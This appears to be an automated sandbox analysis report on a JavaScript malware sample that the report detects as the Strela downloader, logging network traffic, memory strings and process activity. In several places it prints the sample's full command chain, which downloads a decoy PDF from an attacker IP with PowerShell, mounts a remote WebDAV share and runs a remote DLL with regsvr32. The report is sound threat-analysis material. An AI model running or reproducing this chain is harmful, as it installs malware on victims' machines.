HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1354343186.0000019613B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1409217712.0000024D3159F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1409217712.0000024D31548000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1409217712.0000024D31571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1409217712.0000024D31571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Dy
Source: net.exe, 00000007.00000002.1409217712.0000024D31548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacesJ
Source: svchost.exe, 00000009.00000002.2633601202.00000249E0E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1410781150.00000249E1000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7744, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 240815025266174071.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7844:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qi4htw2h.jjk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,6499586492912720118,18189921261920214580,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,6499586492912720118,18189921261920214580,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
